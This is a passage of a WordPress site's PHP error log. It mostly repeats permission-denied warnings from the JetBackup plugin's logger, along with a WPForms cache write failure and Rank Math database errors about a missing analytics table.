fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:14:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:15:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:16:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:17:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:18:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:19:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:20:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:21:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:22:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:23:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:24:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:25:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:26:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:27:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:28:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:29:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:30:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:31:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:32:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:33:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:34:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:35:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:36:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:37:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:38:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:39:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:40:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:41:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:42:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:43:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:44:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:45:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:46:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:47:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:48:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:49:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:50:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:51:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:52:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:53:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:54:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:55:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:56:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:57:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:58:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:59:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:00:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:01:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:02:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:03:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:04:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:05:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:06:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:07:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:08:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:09:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:10:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:11:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:12:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:13:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:14:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:15:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:16:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:17:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:18:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:19:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:20:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:21:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:22:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:23:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:24:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:25:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:26:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:27:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:28:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:29:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:30:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 19:31:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [13-Jun-2026 00:32:18 UTC] PHP Warning: file_put_contents(/home/dxgrqzvp/public_html/wp-content/uploads/wpforms/cache/email-summaries.json): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/wpforms-lite/src/Emails/InfoBlocks.php on line 279 [16-Jun-2026 21:57:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-05-11 00:00:00' AND '2026-06-13 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [16-Jun-2026 21:57:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-04-07 00:00:00' AND '2026-05-10 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [16-Jun-2026 21:57:08 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 285 [16-Jun-2026 21:57:08 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 286 [21-Jun-2026 18:41:45 UTC] PHP Warning: file_put_contents(/home/dxgrqzvp/public_html/wp-content/uploads/wpforms/cache/email-summaries.json): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/wpforms-lite/src/Emails/InfoBlocks.php on line 279 [21-Jun-2026 18:42:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:43:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:43:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:44:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:44:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:44:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:44:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [21-Jun-2026 18:44:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): 